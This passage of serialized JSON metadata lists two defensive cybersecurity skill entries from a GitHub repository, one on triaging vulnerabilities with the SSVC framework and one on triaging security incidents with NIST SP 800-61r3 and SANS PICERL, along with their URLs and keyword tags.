scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[214],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[28,216,217,45,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":235,"name":236,"nameZh":6,"description":237,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":238,"categories":239,"keywords":241,"publishedAt":47},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[240],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[46,242,45,243,244,245,246,247,248,249,250,178,251,179,252,253,254,255,256,257],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]